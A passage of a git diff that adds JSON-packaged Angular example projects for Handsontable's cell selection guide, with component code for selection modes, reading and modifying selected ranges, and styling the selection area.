    `,\n encapsulation: ViewEncapsulation.None\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n isOpen = false;\n selected = 'multiple';\n\n readonly options = [\n { value: 'single', label: 'Single selection' },\n { value: 'range', label: 'Range selection' },\n { value: 'multiple', label: 'Multiple ranges selection' },\n ];\n\n readonly data = [\n ['Ana García', 'Engineering', 'Senior Engineer', 95000, 'Madrid', 'Spain', 'F', 12, '2026-03-14'],\n ['James Okafor', 'Marketing', 'Product Manager', 88000, 'Lagos', 'Nigeria', 'M', 8, '2026-07-01'],\n ['Li Wei', 'Engineering', 'Frontend Dev', 82000, 'Shanghai', 'China', 'M', 5, '2026-01-10'],\n ['Maria Santos', 'HR', 'HR Specialist', 71000, 'Lisbon', 'Portugal','F', 3, '2026-11-20'],\n ['David Kim', 'Engineering', 'Backend Dev', 85000, 'Seoul', 'Korea', 'M', 7, '2026-08-05'],\n ['Emma Wilson', 'Marketing', 'SEO Analyst', 68000, 'London', 'UK', 'F', 2, '2026-02-14'],\n ['Ahmed Hassan', 'Finance', 'Controller', 92000, 'Cairo', 'Egypt', 'M', 10, '2026-06-30'],\n ['Sara Johansson', 'Engineering', 'QA Engineer', 78000, 'Stockholm', 'Sweden', 'F', 6, '2026-09-12'],\n ['Carlos Mendez', 'Sales', 'Account Manager', 74000, 'Mexico City', 'Mexico', 'M', 4, '2026-04-25'],\n ];\n\n readonly gridSettings: GridSettings = {\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n selectionMode: 'multiple', // 'single', 'range' or 'multiple',\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n get selectedLabel(): string {\n return this.options.find((o) => o.value === this.selected)?.label || '';\n }\n\n private elementRef = inject(ElementRef);\n\n toggleDropdown(): void {\n this.isOpen = !this.isOpen;\n }\n\n selectOption(value: string): void {\n this.selected = value;\n this.isOpen = false;\n type selection = 'multiple' | 'single' | 'range' | undefined;\n\n this.hotTable?.hotInstance?.updateSettings({ selectionMode: value as selection });\n }\n\n @HostListener('document:click', ['$event'])\n onDocumentClick(event: MouseEvent): void {\n if (!this.elementRef.nativeElement.querySelector('.theme-dropdown')?.contains(event.target)) {\n this.isOpen = false;\n }\n }\n\n @HostListener('document:keydown', ['$event'])\n onKeydown(event: KeyboardEvent): void {\n if (event.key === 'Escape') {\n this.isOpen = false;\n }\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/selection/angular/example1.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/selection","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example2.ts.json new file mode 100644 index 00000000..c8ea037a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Selection · Get data from the selected ranges · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import {Component, ViewChild, ViewEncapsulation} from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\n@Component({\n selector: 'example2-selection',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n
    \n \n
    \n @if (output) {\n {{ output }} \n }\n
    \n
    \n \n
    `,\n encapsulation: ViewEncapsulation.None\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n ['Ana García', 'Engineering', 'Senior Engineer', 95000, 'Madrid', 'Spain', 'F', 12, '2026-03-14'],\n ['James Okafor', 'Marketing', 'Product Manager', 88000, 'Lagos', 'Nigeria', 'M', 8, '2026-07-01'],\n ['Li Wei', 'Engineering', 'Frontend Dev', 82000, 'Shanghai', 'China', 'M', 5, '2026-01-10'],\n ['Maria Santos', 'HR', 'HR Specialist', 71000, 'Lisbon', 'Portugal','F', 3, '2026-11-20'],\n ['David Kim', 'Engineering', 'Backend Dev', 85000, 'Seoul', 'Korea', 'M', 7, '2026-08-05'],\n ['Emma Wilson', 'Marketing', 'SEO Analyst', 68000, 'London', 'UK', 'F', 2, '2026-02-14'],\n ['Ahmed Hassan', 'Finance', 'Controller', 92000, 'Cairo', 'Egypt', 'M', 10, '2026-06-30'],\n ['Sara Johansson', 'Engineering', 'QA Engineer', 78000, 'Stockholm', 'Sweden', 'F', 6, '2026-09-12'],\n ['Carlos Mendez', 'Sales', 'Account Manager', 74000, 'Mexico City', 'Mexico', 'M', 4, '2026-04-25'],\n ];\n\n readonly gridSettings: GridSettings = {\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n outsideClickDeselects: false,\n selectionMode: 'multiple', // 'single', 'range' or 'multiple',\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n output = '';\n\n getButtonClick(): void {\n const hot = this.hotTable?.hotInstance;\n const selected = hot?.getSelected() || [];\n let data: Handsontable.CellValue[] = [];\n\n if (selected.length === 1) {\n data = hot?.getData(...selected[0]!) || [];\n } else {\n for (let i = 0; i < selected.length; i += 1) {\n const item = selected[i];\n\n data.push(hot?.getData(...item));\n }\n }\n\n this.output = JSON.stringify(data);\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/selection/angular/example2.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example2","exampleTitle":"Get data from the selected ranges","docPermalink":"/selection","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example3.ts.json new file mode 100644 index 00000000..332d81f9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Selection · Modify the selected cells · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import {Component, ViewChild, ViewEncapsulation} from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example3-selection',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n
    \n \n
    \n
    \n
    \n \n
    `,\n encapsulation: ViewEncapsulation.None\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n ['Ana García', 'Engineering', 'Senior Engineer', 95000, 'Madrid', 'Spain', 'F', 12, '2026-03-14'],\n ['James Okafor', 'Marketing', 'Product Manager', 88000, 'Lagos', 'Nigeria', 'M', 8, '2026-07-01'],\n ['Li Wei', 'Engineering', 'Frontend Dev', 82000, 'Shanghai', 'China', 'M', 5, '2026-01-10'],\n ['Maria Santos', 'HR', 'HR Specialist', 71000, 'Lisbon', 'Portugal', 'F', 3, '2026-11-20'],\n ['David Kim', 'Engineering', 'Backend Dev', 85000, 'Seoul', 'Korea', 'M', 7, '2026-08-05'],\n ['Emma Wilson', 'Marketing', 'SEO Analyst', 68000, 'London', 'UK', 'F', 2, '2026-02-14'],\n ['Ahmed Hassan', 'Finance', 'Controller', 92000, 'Cairo', 'Egypt', 'M', 10, '2026-06-30'],\n ['Sara Johansson', 'Engineering', 'QA Engineer', 78000, 'Stockholm', 'Sweden', 'F', 6, '2026-09-12'],\n ['Carlos Mendez', 'Sales', 'Account Manager', 74000, 'Mexico City', 'Mexico', 'M', 4, '2026-04-25'],\n ];\n\n readonly gridSettings: GridSettings = {\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n outsideClickDeselects: false,\n selectionMode: 'multiple', // 'single', 'range' or 'multiple',\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n output = '';\n\n buttonClick(): void {\n const hot = this.hotTable?.hotInstance;\n const selected = hot?.getSelected() || [];\n\n hot?.suspendRender();\n\n for (let index = 0; index < selected.length; index += 1) {\n const [row1, column1, row2, column2] = selected[index];\n const startRow = Math.max(Math.min(row1, row2), 0);\n const endRow = Math.max(row1, row2);\n const startCol = Math.max(Math.min(column1, column2), 0);\n const endCol = Math.max(column1, column2);\n\n for (let rowIndex = startRow; rowIndex <= endRow; rowIndex += 1) {\n for (\n let columnIndex = startCol;\n columnIndex <= endCol;\n columnIndex += 1\n ) {\n hot?.setDataAtCell(rowIndex, columnIndex, 'data changed');\n hot?.setCellMeta(rowIndex, columnIndex, 'className', 'c-red');\n }\n }\n }\n\n hot?.render();\n hot?.resumeRender();\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/selection/angular/example3.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example3","exampleTitle":"Modify the selected cells","docPermalink":"/selection","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example4.ts.json new file mode 100644 index 00000000..a7504a95 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Selection · Style the selection area · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewEncapsulation } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example4-selection',\n standalone: true,\n imports: [HotTableModule],\n styles: [`\n #example4 td.area { background-color: rgba(75, 137, 255, 0.2); }\n #example4 td.area.area-1 { background-color: rgba(75, 137, 255, 0.4); }\n #example4 td.area.area-2 { background-color: rgba(75, 137, 255, 0.6); }\n `],\n template: `
    \n \n
    `,\n encapsulation: ViewEncapsulation.None\n})\nexport class AppComponent {\n readonly data = [\n ['Ana García', 'Engineering', 'Senior Engineer', 95000, 'Madrid', 'Spain', 'F', 12, '2026-03-14'],\n ['James Okafor', 'Marketing', 'Product Manager', 88000, 'Lagos', 'Nigeria', 'M', 8, '2026-07-01'],\n ['Li Wei', 'Engineering', 'Frontend Dev', 82000, 'Shanghai', 'China', 'M', 5, '2026-01-10'],\n ['Maria Santos', 'HR', 'HR Specialist', 71000, 'Lisbon', 'Portugal', 'F', 3, '2026-11-20'],\n ['David Kim', 'Engineering', 'Backend Dev', 85000, 'Seoul', 'Korea', 'M', 7, '2026-08-05'],\n ['Emma Wilson', 'Marketing', 'SEO Analyst', 68000, 'London', 'UK', 'F', 2, '2026-02-14'],\n ];\n\n readonly gridSettings: GridSettings = {\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n outsideClickDeselects: false,\n selectionMode: 'multiple',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/selection/angular/example4.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example4","exampleTitle":"Style the selection area","docPermalink":"/selection","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example5.ts.json new file mode 100644 index 00000000..4ed7378b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example5.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Selection · Select cells programmatically · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild, ViewEncapsulation } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example5-selection',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n
    \n \n \n \n
    \n
    \n
    \n \n
